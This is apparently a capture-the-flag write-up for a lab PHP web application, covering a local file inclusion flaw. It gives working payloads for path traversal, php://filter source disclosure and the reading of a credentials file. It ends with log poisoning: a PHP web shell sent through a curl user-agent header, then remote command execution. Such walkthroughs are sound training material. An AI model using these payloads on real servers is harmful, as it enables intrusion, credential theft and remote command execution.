[Day 6] Patch Management Is Hard

Challenge

Accessing the webserver returns the following.

Inspecting the URL revealed that the application was invoking the error message from a given file.

Replacing the error file with /etc/passwd seemed to return the file and confirm the LFI vulnerability.

http://10.10.109.239/index.php?err=../../../../../etc/flag

Next, to get the source code of a particular file, I used the PHP filter method as shown below.

http://10.10.109.239/index.php?err=php://filter/convert.base64-encode/resource=index.php

Decoding the base64 value then led me to the next flag.

In the source code, I noticed that there is a file called creds.php and manage.php

manage.php redirects to login.php. This is where the creds.php comes in handy. I used the same filter technique to read the contents of the creds.php file.

http://10.10.103.198/index.php?err=php://filter/convert.base64-encode/resource=./includes/creds.php

<?php 
$USER = "McSkidy";
$PASS = "A0C315Aw3s0m";
?

Logging into the Control System and accessing Password Recovery reveals the next flag.

Now that I had access to logs, know where the file is located, and was able to write to the file via web requests, I used the log poisoning method to get remote command execution on the system.

http://10.10.103.198/logs.php

I first poisoned the logs by sending a request with curl and setting a PHP payload as the user agent as shown below. The payload basically allows an attacker to run arbitrary commands remotely, on the server via the browser.

curl -A '<?php system($_GET["cmd"]); ?>' http://10.10.103.198/login.php

Following that, I invoked the logfile via LFI and simply added a cmd argument in the URL and ran commands on the server.

http://10.10.103.198/index.php?err=./includes/logs/app_access.log&cmd=ls

http://10.10.103.198/index.php?err=./includes/logs/app_access.log&cmd=hostname